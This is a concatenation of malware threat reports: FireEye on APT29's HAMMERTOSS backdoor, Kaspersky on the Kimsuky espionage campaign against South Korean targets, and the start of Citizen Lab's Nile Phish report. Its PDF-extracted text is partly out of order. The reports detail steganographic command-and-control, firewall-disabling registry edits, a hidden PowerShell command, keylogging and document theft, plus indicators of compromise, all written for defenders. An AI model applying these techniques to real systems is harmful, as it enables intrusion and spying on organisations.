If the threat group has not registered that days handle, HAMMERTOSS will wait until the next day and look for a different handle.
2.
HAMMERTOSS visits the associated Twitter account and looks for a tweet with a URL and a hashtag that indicates the location and minimum size of an image file.
1  2 3 5 010111101101 111011011110 010111101 10 010111101 4 bobby 1abBob52b TWEETS 1 Tweets     Tweet  replies bobby 1abBob52b     July 29 Follow doctorhandbook.com 101docto HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 77 STAGE 1: The Communication Process Begins with Twitter H AMMERTOSS first looks for instructions on Twitter.
The malware contains an algorithm that generates a daily Twitter handle, which is an account user ID.
To create the handles, the algorithm employs a basename, such as Bob, and appends and prepends three CRC32 values based on the date.
For example, 1abBob52b would have the URL: hxxps://twitter.com/1abBob52b.
Each HAMMERTOSS sample will create a different Twitter handle each day.
APT29 knows the algorithm used to generate the handles and chooses to register a Twitter handle and post obfuscated instructions to the handles URL before the malware attempts to query it.
If a particular days handle is not registered and the URL for that day is not found, HAMMERTOSS will wait until the next day to attempt to communicate with another handle.
APT29s operator chooses to register a particular days Twitter handle using the same algorithm ahead of the anticipated communication.
Figure 1: HAMMERTOSS calls out to a Twitter handle 1 2 3 APT29 typically configures HAMMERTOSS to communicate within certain restrictions, such as only checking the Twitter handle on weekdays or after a specified start date.
This allows the malware to blend in to normal traffic during the victims work week or to remain dormant for a period of time before activating.
3a.
APT29s operator registers the handle.
HAMMERTOSS goes to the Twitter page and looks for a tweet that provides instructions on the next phase of the process.
1.
HAMMERTOSS contains an algorithm that generates Twitter handles telling the malware to visit a specific Twitter handle on a specific day.
A Twitter handle is a user ID associated with Twitters website.
For instance, FireEyes Twitter handle, FireEye, has a URL: https://www.twitter.com/ fireeye.
The HAMMERTOSS algorithm uses a basename, like Bob, and appends and prepends three CRC32 values based on the current date.
An example, may be 1abBob52b, which would have the URL: hxxps://www.
twitter.com/1abBob52b.
2.
HAMMERTOSS visits the Twitter URL related to its daily Twitter handle.
For instance, on July 29, it may look for a handle 1abBob52b (hxxps://twitter.
com/1abBob52b).
3b.
APT29s operator does not register the handle.
HAMMERTOSS waits until the next day to begin the process again.
bobby 1abBob52b TWEETS 1 Tweets     Tweet  replies bobby 1abBob52b     July 29 Follow doctorhandbook.com 101docto HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 88 Figure 2: Learning the URL, image size, and encryption key If APT29 has registered that days Twitter handle, they will tweet a URL and a hashtag.
The URL directs HAMMERTOSS to a webpage containing an image or images.
The hashtag provides a number representing a location within the image file and characters for appending to an encryption key to decrypt instructions within the image.
In the mockup of a HAMMERTOSS tweet in Figure 2, the hashtag was 101docto, indicating that the encrypted data begins at an offset of 101 bytes into the image file, and the characters docto should be added to the encryption key to decrypt the data.
Using Twitter as an intermediary to deliver the second-stage CnC to HAMERTOSS allows APT29 to dynamically direct the tool.
STAGE 2: Tweeting a URL, Minimum File Size of an Image, and Part of an Encryption Key URL: In the case above, the tweet instructs HAMMERTOSS to download the content hosted at the specified URL, including any images on the page.
In the example we will discuss later, the tweet included a URL on GitHub.
bobby 1abBob52b TWEETS 1 Tweets     Tweet  replies bobby 1abBob52b     July 29 Follow doctorhandbook.com 101docto Hashtag: The tweet also contains a hashtag with information to allow HAMMERTOSS to extract encrypted instructions from an image file.
The hashtag indicates that the hidden data is offset 101 bytes into the image file and the characters to be used for decryption are docto.
If APT29s operator has registered that particular days handle, he will tweet a URL and hashtag.
HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 99 MD5: d3109c83e07dd5d7fe032dc80c581d08 (VirusTotal) SHA1: 42e6da9a08802b5ce5d1f754d4567665637b47bc Timing Behavior: Communicate on weekdays only after April 3, 2015 Active Twitter Handle: twitter[.
]com/3c6Diallo7f0 (Figure 3 below) Tweeted URL, Hashtag: hxxp://www[.]doctorhandbook[.
]com, 101docto Detection Ratio: 5/56 Metadata: In Figure 3 is a sample of the HAMMERTOSS tDiscoverer variant and a corresponding snapshot of a Twitter account page from one of its generated handles.
At the time of publication, a publicly available HAMMERTOSS sample had only five generic detections in VirusTotal.
The Twitter account was active and contained a link to a website.
Figure 3: Twitter page for d3109c83e07dd5d7fe032dc80c581d08 2Miniduke still duking it out.
ESET Security.
20 May 2014.
http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ Balazs, Biro, Christian Istrate, and Mairus Tivaradar.
A Closer Look at MiniDuke.
BitDefender.
2013.
http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf.
James, Peter.
Flashback Mac Malware Uses Twitter as Command and Control Center.
Integos The Mac Security Blog.
5 March 2012.
http://www.intego.com/mac-security-blog/flashback-mac-malware-uses-twitter-as-command-and-control-center.
Coogan, Peter.
Twittering Botnets.
Symantec Security Blog.
14 Aug 2009.
http://www.symantec.com/connect/blogs/twittering-botnets.
Kessler, Michelle.
Hackers harness Twitter to do their dirty work.
USA Today.
17 August 2008.
http://content.usatoday.com/communities/technologylive/post/2009/08/68497133/1.VbJVi4q9_Vs.
HIDING AMONG UNREGISTERED TWITTER ACCOUNTS HAMMERTOSS uses an algorithm to generate hundreds of Twitter handles annually for potential CnC.
Many of these are unregistered, as APT29 chooses to register a particular days handle as needed and ahead of an anticipated HAMMERTOSS beacon.
This small number of registered accounts allows the group to maintain a small footprint.
Other tools use Twitter to relay instructions, including:2 MiniDuke,aWindows-based backdoorthatisasuspected Russian tool theSninfsbotnet Flashback,aMac-based backdoor MiniDukebehavessimilarly to HAMMERTOSS by not only using Twitter for CnC, but also by downloading image files containing encrypted, appended content.
HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 1010 Figure 4: The URL specified in the tweet (in this case, a GitHub page) contains an image with appended and encrypted data STAGE 3: Visiting GitHub to Download an Image HAMMERTOSS then uses the InternetExplorer.
Application COM Object to visit the URL specified in a tweet.
We have observed URLs lead to specific GitHub accounts or compromised websites.
We will use Github for the next part in our example.
Once HAMMERTOSS obtains the GitHub URL from its daily Twitter account, it visits the URL and downloads the contents of the page, including any image files.
APT29s operator registers a GitHub page and uploads an image.
HAMMERTOSS uses the InternetExplorer.
Application COM  Object to visit the URL and obtain the image.
HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 1111 010111101101 111011011110 010111101 10 010111101 STAGE 4: APT29 Employs Basic Steganography We have observed only a few APT groups using steganography.
HAMMERTOSS uses steganography by appending data to an image file after the images end of file marker.
This technique would be readily detectable if someone was checking for it.
However, the Figure 5: Encrypted data appended beyond the FF D9 JPEG End of File marker appended data is encrypted, so even if detected, the investigator would be unable to decrypt the data without key material from two sources: the malware binary and the current tweet.
Indicative of APT29s discipline, the group ensures that if network defenders discover the images, the defenders still require the malware sample, corresponding Twitter handle, and tweet with the additional key material to decrypt the tools instructions.
All of the samples we have observed have used different encryption keys to decrypt the appended content.
2.
Though the image looks normal, it contains appended and encrypted content.
HAMMERTOSS downloads the contents of the website to Internet Explorers browser cache and searches the cache for any images at least as large as the offset specified in the tweet from Stage 2.
While the image appears normal, it actually contains steganographic data.
Steganography is the practice of concealing a message, image, or file within another message, image, or file.
In this case, the image contains appended and encrypted data that HAMMERTOSS will decrypt and execute.
The data may include commands or login credentials to upload a victims data to a cloud storage service.
HAMMERTOSS locates the encrypted data at the offset specified in the tweet in Stage 2.
It decrypts the data using a key comprised of hard-coded data from the malware binary appended with the characters from the tweet.
3.
HAMMERTOSS decrypts the image using a hard-coded key appended with the characters obtained from the tweet in Stage 2.
1.
HAMMERTOSS downloads the image from the specified URL, retrieves the image from Internet Explorers browser cache, and begins the process of decryption.
1 2 3 End of File Marker APT29 ADDING STEGANOGRAPHY AS ANOTHER LAYER OF OBFUSCATION HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 1212 STAGE 5: Executing Commands and Uploading Victim Data 010111101101111000101001100101 1110110111100010100110 01011110110111100010100110 010111101101111000101001100101111 0110111100010100110 Figure 6: Executing Commands and Removing Data APT29s operator creates the cloud storage account and can obtain the victims data from the cloud storage service.
2.
HAMMERTOSS is capable of uploading victim data to a cloud storage service.
1.
HAMMERTOSS may issue other follow on commands: powershell -ExecutionPolicy bypass -WindowStyle hidden encodedCommand...
The encrypted data in the image may include instructions to execute commands via PowerShell, execute a direct command or file, or save an executable to disk and execute it.
In several cases, the commands directed HAMMERTOSS to upload information from victim networks to accounts on cloud storage services using login credentials received in Stage 4.
In our GitHub example, the decrypted data instructed the backdoor to obtain a list of running tasksreconnaissance on the victim networkand upload it to a specific account on a cloud storage service using the login credentials.
APT29 can then easily obtain the extracted information from the cloud storage service at their convenience.
1 2 HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat GroupSPECIAL REPORT 1313 APT29: AN ADAPTIVE AND DISCIPLINED THREAT GROUP HAMMERTOSS illustrates APT29s ability to adapt quickly during operations to avoid detection and removal.
For example, if an organization blocks access to GitHub, APT29 could easily redirect HAMMERTOSS to download an image with encrypted instructions from another website.
Similarly, if an organization starts monitoring Twitter activity on their network, APT29 could easily switch to using the Uploader variant of HAMMERTOSS, which does not use Twitter and communicates directly to a specified URL.
If an organization identifies the handle generation algorithm and attempts to research old Twitter accounts, tweets, or secondary URLs, APT29 could easily delete previously used accounts or the locations where images were stored.
While each technique in HAMMERTOSS is not new, APT29 has combined them into a single piece of malware.
Individually, each technique offers some degree of obfuscation for the threat groups activity.
In combination, these techniques make it particularly hard to identify HAMMERTOSS or spot malicious network traffic determine the nature and purpose of the binary discern the malwares CnC method and predict its CnC accounts capture and decode second-stage CnC information and pinpoint and decrypt the image files containing malware commands.
This makes HAMMERTOSS a powerful backdoor at the disposal of one of the most capable threat groups we have observed.
HAMMERTOSS undermines network defenders ability to identify Twitter accounts used for CnC, discern malicious network traffic from legitimate activity, and locate the malicious payloads downloaded by the malware.
Identifying daily potential Twitter accounts requires network defenders to have access to the associated HAMMERTOSS binary and to reverse engineer it to identify the basename and the algorithm used to create the potential accounts.
Monitoring malicious tweets from these accounts is difficult as each sample is capable of generating hundreds of potential Twitter accounts annually, and APT29 may only register a small number of those accounts for CnC.
Employing legitimate web services that are widely allowed in organizations networks some of which use Secure Sockets Layer connections that ensure the communications are encryptedmakes it harder for network defenders to discern between malicious and legitimate traffic.
Using steganography and varying the image size makes the target payloadthe image containing the appended, encoded commandsless predictable.
Even if the network defenders are able to predict or identify the target payloads, they need the associated HAMMERTOSS sample and relevant tweet containing the related encryption key information to decrypt the contents.
CONCLUSION Difficulty Identifying Accounts, Discerning Legitimate and Malicious Traffic, and Locating the Payload 2015 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
SP.APT29.EN-US.072015 FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com To download this or other FireEye Threat Intelligence reports, visit: https://www.fireeye.com/reports.html mailto:info40FireEye.com http://www.fireeye.com https://www.fireeye.com/reports.html
The Kimsuky Operation: A North Korean APT?
For several months, we have been monitoring an ongoing cyber-espionage campaign against South Korean think-tanks.
There are multiple reasons why this campaign is extraordinary in its execution and logistics.
It all started one day when we encountered a somewhat unsophisticated spy program that communicated with its master via a public e-mail server.
This approach is rather inherent to many amateur virus-writers and these malware attacks are mostly ignored.
However, there were a few things that attracted our attention: The public e-mail server in question was Bulgarian - mail.bg.
The compilation path string contained Korean hieroglyphs.
These two facts compelled us take a closer look at this malware -- Korean compilers alongside Bulgarian e- mail command-and-control communications.
The complete path found in the malware presents some Korean strings: D:rshUAC_dll()Releasetest.pdb The rsh word, by all appearances, means a shortening of Remote Shell and the Korean words can be translated in English as attack and completion, i.e.
: D:rshATTACKUAC_dll(COMPLETION)Releasetest.pdb Although the full list of victims remains unknown, we managed to identify several targets of this campaign.
According to our technical analysis, the attackers were interested in targeting following organizations.
The Sejong Institute The Sejong Institute is a non-profit private organization for public interest and a leading think tank in South Korea, conducting research on national security strategy, unification strategy, regional issues, and international political economy.
Korea Institute For Defense Analyses (KIDA) KIDA is a comprehensive defense research institution that covers a wide range of defense-related issues.
KIDA is organized into seven research centers: the Center for Security and Strategy the Center for Military Planning the Center for Human Resource Development the Center for Resource Management the Center for Weapon Systems Studies the Center for Information System Studies and the Center for Modeling and Simulation.
KIDA also has an IT Consulting Group and various supporting departments.
KIDAs mission is to contribute to rational defense policy-making through intensive and systematic research and analysis of defense issues.
Ministry of Unification The Ministry of Unification is an executive department of the South Korean government responsible for working towards the reunification of Korea.
Its major duties are: establishing North Korea Policy, coordinating inter-Korean dialogue, pursuing inter-Korean cooperation and educating the public on unification.
Hyundai Merchant Marine Hyundai Merchant Marine is a South Korean logistics company providing worldwide container shipping services.
Some clues also suggest that computers belonging to The supporters of Korean Unification (http://www.unihope.kr/) were also targeted.
Among the organizations we counted, 11 are based in South Korea and two entities reside in China.
Partly because this campaign is very limited and highly targeted, we have not yet been able to identify how this malware is being distributed.
The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails.
Infecting a system The initial Trojan dropper is a Dynamic Link Library functioning as a loader for further malware.
It does not maintain exports and simply delivers another encrypted library maintained in its resource section.
This second library performs all the espionage functionality.
When running on Windows 7, the malicious library uses the Metasploit Frameworks open-source code Win7Elevate to inject malicious code into explorer.exe.
In any case, be it Windows 7 or not, this malicious code decrypts its spying library from resources, saves it to disk with an apparently random but hardcoded name, for example, DFE8B437DD7C417A6D.TMP, in the users temporary folder and loads this file as library.
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name -- either KBDLV2.DLL or AUTO.DLL, depending on the malware sample.
Then the service is created for the service dll.
Service names also can differ from version to version we discovered the following names -- DriverManage, WebService and WebClientManager.
These functions assure malware persistence in a compromised OS between system reboots.
At this stage, the malware gathers information about the infected computer.
This includes an output of the systeminfo command saved in the file oledvbs.inc by following the hardcoded path: C:Program FilesCommon FilesSystemOle DBoledvbs.inc.
There is another function called - the malware creates a string containing computer and user names but this isnt used anywhere.
By all appearances, this is a mistake by the malware author.
Later on, we will come to a function where such a string could be pertinent but the malware is not able to find this data in the place where it should be.
These steps are taken only if its running on an infected system for the first time.
At system startup, the malicious library performs spying activities when it confirms that it is loaded by the generic svchost.exe process.
Spying modules There are a lot of malicious programs involved in this campaign but, strangely, they each implement a single spying function.
Besides the basic library (KBDLV2.DLL / AUTO.DLL) that is responsible for common communication with its campaign master, we were able to find modules performing the following functions: Keystroke logging Directory listing collection HWP document theft Remote control download and execution Remote control access Disabling firewall At system startup, the basic library disables the system firewall and any AhnLab firewall (a South Korean security product vendor) by zeroing out related values in registry: SYSTEMCurrentControlSetServicesSharedAccessParameters FirewallPolicyStandardProfile EnableFirewall  0 SYSTEMCurrentControlSetServicesSharedAccessParameters FirewallPolicyPublicProfile EnableFirewall  0 HKLMSOFTWAREAhnLabV3IS2007InternetSec FWRunMode  0 HKLMSOFTWAREAhnlabV3IS80is fwmode  0 It also turns off the Windows Security Center service to prevent alerting the user about the disabled firewall.
It is not accidental that the malware author has singled out AhnLabs security product.
During our Winnti research, we learnt that one of the Korean victims was severely criticized by South Korean regulators for using foreign security products.
We do not know for sure how this criticism affected other South Korean organizations, but we do know that many South Korean organizations install AhnLab security products.
Accordingly, these attackers dont even bother evading foreign vendors products, because their targets are solely South Korean.
Once the malware disables the AhnLab firewall, it checks whether the file taskmgr.exe is located in the hardcoded C:WINDOWS folder.
If the file is present, it runs this executable.
Next, the malware loops every 30 minutes to report itself and wait for response from its operator.
http://www.securelist.com/en/analysis/204792287/Winnti_More_than_just_a_game Communications Communication between bot and operator flows through the Bulgarian web-based free email server (mail.bg).
The bot maintains hardcoded credentials for its e-mail account.
After authenticating, the malware sends e-mails to another specified e-mail address, and reads e-mails from the inbox.
All these activities are performed via the mail.bg web-interface with the use of the system Wininet API functions.
From all the samples that we managed to obtain, we extracted the following email accounts used in this campaign: beautiflmail.bg ennemymanmail.bg fasionmanmail.bg happylovemail.bg lovest000mail.bg monneymanmail.bg sportsmanmail.bg veryhappymail.bg Here are the two master email addresses to which the bots send e-mails on behalf of the above- mentioned accounts.
They report on status and transmit infected system information via attachments: iop110112hotmail.com rsh1213hotmail.com Regular reporting To report infection status, the malware reads from C:Program FilesCommon FilesSystemOle DBoledvbs.inc which contains the systeminfo command output.
If the file exists, it is deleted after reading.
Then, it reads user-related info from the file sqlxmlx.inc in the same folder (we can see strings referencing to UserID commentary in this part of the code).
But this file was never created.
As you recall, there is a function that should have collected this data and should have saved it into this sqlxmlx.inc file.
However, on the first launch, the collected user information is saved into xmlrwbin.inc.
This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file.
There is a chance for the mistaken code to still work -- user information could be copied into the send information heap.
But not in this case - at the time of writing, the gathered user information variable which should point to the xmlrwbin.inc filename has not yet been initialized, causing the file write to fail.
We see that sqlxmlx.inc is not created to store user information.
Next, the intercepted keystrokes are read from the file and sent to the master.
Keystrokes are logged and kept in an ordinary and consistent format in this file - both the names of windows in which keys were typed and the actual sequence of keyboard entry.
This data is found in the file C:Program FilesCommon FilesSystemOle DBmsolui80.inc created by the external key logger module.
All this data is merged in one file xmlrwbin.inc, which is then encrypted with RC4.
The RC4 key is generated as an MD5 hash of a randomly generated 117-bytes buffer.
To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content.
This data is also sent, but RSA encrypted.
The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer.
The malware then concatenates all the data to be sent as a 128-bytes block.
The resulting data is saved in C:Program FilesCommon FilesSystemOle DB to a file named according to the following format: system time_account at Bulgarian email server.txt, for example, 08191757_beautiflmail.bg.txt.
The file is then attached to an e-mail and sent to the masters e-mail account.
Following transmission, it is immediately deleted from the victim system.
Getting the masters data The malware also retrieves instructions from the mail server.
It checks for mails in its Bulgarian e-mail account with a particular subject tag.
We have identified several subject tags in the network communication: Down_0, Down_1, Happy_0, Happy_2 and ddd_3.
When found and the e-mail maintains an attachment, the malware downloads this attachment and saves it with filename msdaipp.cnt in C:Program FilesCommon FilesSystemOle DB.
The attacker can send additional executables in this way.
The executables are RC4 encrypted and then attached.
The key for decryption is hardcoded in the malicious samples.
Its interesting that the same rsh string is maintained across all known samples and is used to generate RC4 keys.
As described earlier, the malware computes the MD5 of this string and uses the hash as its RC4 key to decrypt the executable.
Then, the plain executable is dropped onto disk as sqlsoldb.exe and run, and then moved to the C:Windows folder with the file name taskmgr.exe.
The original e-mail and its attachment are then deleted from the Bulgarian e-mail inbox.
Key logger The additional key logger module is not very complex -- it simply intercepts keystrokes and writes typed keys into C:Program FilesCommon FilesSystemOle DBmsolui80.inc, and also records the active window name where the user pressed keys.
We saw this same format in the Madi malware.
There is also one key logger variant that logs keystrokes into C:WINDOWSsetup.log.
Directory listing collector http://www.kaspersky.com/about/news/virus/2012/kaspersky_lab_and_seculert_announce_madi_a_newly_discovered_cyber_espionage_campaign_in_the_middle_east The next program sent to victims enumerates all the drives on the infected system and executes the following command on them: dir drive letter: /a /s /t /-c In practice, this command is written to C:WINDOWSmsdatt.bat and executed with output redirected to C:WINDOWSmsdatl3.inc.
As a result, the latter maintains a listing of all files in all the folders on the drive.
The malware later reads that data and appends it to content of the file C:Program FilesCommon FilesSystemOle DBoledvbs.inc.
At this point, oledvbs.inc already stores systeminfo output.
Its interesting that one sample of the directory listing collector was infected with the infamous Viking virus of Chinese origin.
Some of this virus modifications were wandering in the wild for years and its authors or operators would never expect to see it end up in a clandestine APT-related spying tool.
For the attackers, this is certainly a big failure.
Not only does the original spying program have marks of well- known malware that can be detected by anti-malware products moreover the attackers are revealing their secret activities to cyber-criminal gangs.
However, by all appearances, the attackers noticed the unwanted addition to their malware and got rid of the infection.
This was the only sample bearing the Viking virus.
Due to expensive work of malware with variety of additional files, its not out of place to show these relationships in a diagram: HWP document stealer This module intercepts HWP documents on an infected computer.
The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle.
Hancom Office is widely used in South Korea.
This malware module works independently of the others and maintains its own Bulgarian e-mail account.
The account is hardcoded in the module along with the masters e-mail to which it sends intercepted documents.
It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them.
This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits.
The program copies itself as Hangul full pathHncReporter.exe and changes the default program association in the registry to open HWP documents.
To do so, it alters following registry values: HKEY_CLASSES_ROOTHwp.
Document.7shellopencommand or HKEY_CLASSES_ROOTHwp.
Document.8shellopencommand By default, there is the registry setting Hangul full pathHwp.exe 1 associating Hangul application Hwp.exe with .HWP documents.
But the malicious program replaces this string with the following: Hangul full pathHncReporter.exe  1.
So, when the user is opening any .HWP document, the malware program itself is executed to open the .HWP document.
Following this registry edit, any opened .HWP document is read and sent as an e-mail attachment with the subject Hwp to the attackers.
After sending, the malware executes the real Hangul word processing application Hwp.exe to open the .HWP document as the user intended.
The means the victim most likely will not notice the theft of the .HWP file.
The modules sending routine depends on the following files in C:Program FilesCommon FilesSystemOle DB folder: xmlrwbin.inc, msdaipp.cnt, msdapml.cnt, msdaerr.cnt, msdmeng.cnt and oledjvs.inc.
Remote control module downloader An extra program is dedicated exclusively to download attachments out of incoming e-mails with a particular subject tag.
This program is similar to the pivot module but with reduced functionality: it maintains the hardcoded Bulgarian e-mail account, logs in, reads incoming e-mails and searches for the special subject tag Team.
When found, it loads the related attachment, drops it onto the hard drive as C:Program FilesCommon FilesSystemOle DBtaskmgr.exe and executes.
This particular executable arrives without any encryption.
Remote control module It is also interesting that the malware author did not custom develop a backdoor program.
Instead, the author modified TeamViewer client version 5.0.9104.
The initial executable pushed by attackers in e-mails related to the remote control module consists of three more executables.
Two of them are Team Viewer components themselves, and another is some sort of backdoor loader.
So, the dropper creates three files in the C:WindowsSystem32 directory: netsvcs.exe - the modified Team Viewer client netsvcs_ko.dll - resources library of Team Viewer client vcmon.exe - installer/starter and creates the service Remote Access Service, adjusted to execute C:WindowsSystem32vcmon.exe at system startup.
Every time the vcmon.exe is executed, it disables AhnLabs firewall by zeroing out following registry values: HKLMSOFTWAREAhnLabV3 365 ClinicInternetSec UseFw  0 UseIps  0 Then, it modifies the Team Viewer registry settings.
As we said, the Team Viewer components used in this campaign are not the original ones.
They are slightly modified.
In total, we found two different variants of changed versions.
The malware author replaced all the entries of Teamviewer strings in Team Viewer components.
In the first case with the Goldstager string and with the string Coinstager in the second.
TeamViewer client registry settings are then HKLMSoftwareGoldstagerVersion5 and HKLMSoftwareCoinstagerVersion5 correspondingly.
The launcher sets up several registry values that control how the remote access tool will work.
Among them is SecurityPasswordAES.
This parameter represents a hash of the password with which a remote user has to connect to Team Viewer client.
This way, the attackers set a pre-shared authentication value.
After that, the starter executes the very Team Viewer client netsvcs.exe.
Whos Kim?
Its interesting that the drop box mail accounts iop110112hotmail.com and rsh1213hotmail.com are registered with the following kim names: kimsukyang and Kim asdfa.
Of course, we cant be certain that these are the real names of the attackers.
However, the selection isnt frequently seen.
Perhaps it also points to the suspected North Korean origin of attack.
Taking into account the profiles of the targeted organizations -- South Korean universities that conduct researches on international affairs, produce defense policies for government, national shipping company, supporting groups for Korean unification -- one might easily suspect that the attackers might be from North Korea.
The targets almost perfectly fall into their sphere of interest.
On the other hand, it is not that hard to enter arbitrary registration information and misdirect investigators to an obvious North Korean origin.
It does not cost anything to concoct fake registration data and enter kimsukyang during a Hotmail registration.
We concede that this registration data does not provide concrete, indisputable information about the attackers.
However, the attackers IP-addresses do provide some additional clues.
During our analysis, we observed ten IP-addresses used by the Kimsuky operators.
All of them lie in ranges of the Jilin Province Network and Liaoning Province Network, in China.
No other IP-addresses have been uncovered that would point to the attackers activity and belong to other IP-ranges.
Interestingly, the ISPs providing internet access in these provinces are also believed to maintain lines into North Korea.
Finally, this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea.
Appendix Files used by malware: windirsystem32kbdlv2.dll windirsystem32auto.dll windirsystem32netsvcs.exe windirsystem32netsvcs_ko.dll windirsystem32vcmon.exe windirsystem32svcsmon.exe windirsystem32svcsmon_ko.dll windirsystem32wsmss.exe tempDFE8B437DD7C417A6D.TMP tempDFE8B43.TMP temptmp.dll C:Windowstaskmgr.exe C:Windowssetup.log C:Windowswinlog.txt C:Windowsupdate.log C:Windowswmdns.log C:Windowsoledvbs.inc C:Windowsweoig.log C:Windowsdata.dat C:Windowssys.log C:WindowsPcMon.exe C:WindowsGoogle Update.exe C:WindowsReadMe.log C:Windowsmsdatt.bat C:Windowsmsdatl3.inc C:Program FilesCommon FilesSystemOle DBmsdmeng.cnt C:Program FilesCommon FilesSystemOle DBxmlrwbin.inc C:Program FilesCommon FilesSystemOle DBmsdapml.cnt C:Program FilesCommon FilesSystemOle DBsqlsoldb.exe C:Program FilesCommon FilesSystemOle DBoledjvs.inc C:Program FilesCommon FilesSystemOle DBoledvbs.inc C:Program FilesCommon FilesSystemOle DBmsolui80.inc C:Program FilesCommon FilesSystemOle DBmsdaipp.cnt C:Program FilesCommon FilesSystemOle DBmsdaerr.cnt C:Program FilesCommon FilesSystemOle DBsqlxmlx.inc Hangul full pathHncReporter.exe Related MD5: 3baaf1a873304d2d607dbedf47d3e2b4 3195202066f026de3abfe2f966c9b304 4839370628678f0afe3e6875af010839 173c1528dc6364c44e887a6c9bd3e07c 191d2da5da0e37a3bb3cbca830a405ff 5eef25dc875cfcb441b993f7de8c9805 b20c5db37bda0db8eb1af8fc6e51e703 face9e96058d8fe9750d26dd1dd35876 9f7faf77b1a2918ddf6b1ef344ae199d d0af6b8bdc4766d1393722d2e67a657b 45448a53ec3db51818f57396be41f34f 80cba157c1cd8ea205007ce7b64e0c2a f68fa3d8886ef77e623e5d94e7db7e6c 4a1ac739cd2ca21ad656eaade01a3182 4ea3958f941de606a1ffc527eec6963f 637e0c6d18b4238ca3f85bcaec191291 b3caca978b75badffd965a88e08246b0 dbedadc1663abff34ea4bdc3a4e03f70 3ae894917b1d8e4833688571a0573de4 8a85bd84c4d779bf62ff257d1d5ab88b d94f7a8e6b5d7fc239690a7e65ec1778 f1389f2151dc35f05901aba4e5e473c7 96280f3f9fd8bdbe60a23fa621b85ab6 f25c6f40340fcde742018012ea9451e0 122c523a383034a5baef2362cad53d57 2173bbaea113e0c01722ff8bc2950b28 2a0b18fa0887bb014a344dc336ccdc8c ffad0446f46d985660ce1337c9d5eaa2 81b484d3c5c347dc94e611bae3a636a3 ab73b1395938c48d62b7eeb5c9f3409d 69930320259ea525844d910a58285e15 Names of services created by malware: DriverManage WebService WebClientManager Remote Access Service We detect these threats as Trojan.
Win32.Kimsuky except modified Team Viewer client components which are detected as Trojan.
Win32.Patched.ps.
2/2/2017 [updated] Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil Society citizenlab.org/2017/02/nilephish-report/ By: John Scott-Railton, Ramy Raoof, Bill Marczak, and Etienne Maynier Senior Researcher, Citizen Lab, Senior Research Technologist, Egyptian Initiative for Personal Rights, Mozilla Open Web Fellow, Citizen Lab Media coverage: Associated Press, Vice, The Intercept, The Hill, Egyptian Streets, La Stampa, Slate, Cairo Portal, Version2, Al Nabaa, Middle East Monitor, Al Mesryoon, Netzpolitik (in German).
Click here to read the EIPR report in Arabic.
Update 2/23/2017 Evidence of Two Factor Phishing: Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets.
We are preparing a follow-up report, but we believe it is important to note that there is now evidence that the Nile Phish operator has engaged in phishing of 2-factor authentication codes.
See: Evidence of 2 Factor Phishing Key Findings Egyptian NGOs are currently being targeted by Nile Phish, a large-scale phishing campaign.
Almost all of the targets we identified are also implicated in Case 173, a sprawling legal case brought by the Egyptian government against NGOs, at ich has been referred to as an unprecedented crackdown on Egypts civil society.
Nile Phish operators demonstrate an intimate knowledge of Egyptian NGOs, and are able to roll out phishing attacks within hours of government actions, such as arrests.
Summary This report describes Nile Phish, an ongoing and extensive phishing campaign against Egyptian civil society.
In recent years, Egypt has witnessed what is widely described as an unprecedented crackdown, on both civil society and dissent.
Amidst this backdrop, in late November 2016 Citizen Lab began investigating phishing attempts on staff at the Egyptian Initiative for Personal Rights (EIPR), an Egyptian organization working on research, advocacy and legal engagement to support basic freedoms and rights.
With the collaboration and assistance of EIPR, our investigation expanded to include seven Egyptian NGOs targeted by Nile Phish.
These seven organizations work on a variety of human rights issues, including political freedoms, gender issues, and freedom of speech.
We also identified individual targets, including Egyptian lawyers, journalists, and independent activists.
With only a handful of exceptions, Nile Phish targets are implicated in Case 173, a legal case brought against NGOs by the Egyptian government over issues of foreign funding.
The phishing campaign also coincides with renewed pressure on these organizations and their staff by the Egyptian government, in the context of Case 173, including asset freezes, travel bans, forced closures, and arrests.
Our collaborative investigation has documented at least 92 messages sent by Nile Phish, many highly personalized, and sent as recently as January 31st, 2017.
The phishing campaign has included at least two phases, each with distinct phishing tactics and domains.
Efforts seem to have been made to compartmentalize the infrastructure for each phase, but a technical error allowed us to link the servers and conclude that the two phases were part of a single campaign.
Nile Phishs sponsor clearly has a strong interest in the activities of Egyptian NGOs, specifically those charged by the Egyptian government in Case 173.
The Nile Phish operator shows intimate familiarity with the targeted NGOs activities, the concerns of their staff, and an ability to quickly phish on the heels of action by the Egyptian government.
For example, we observed phishing against the colleagues of prominent Egyptian lawyer Azza Soliman, within hours of her arrest in December 2016.
The phishing claimed to be a copy of her arrest warrant.
We are not in a position in this report to conclusively attribute Nile Phish to a particular sponsor.
However, the scale of the campaign and its persistence, within the context of other legal pressures and harassment, compound the extremely difficult situation faced by NGOs in Egypt.
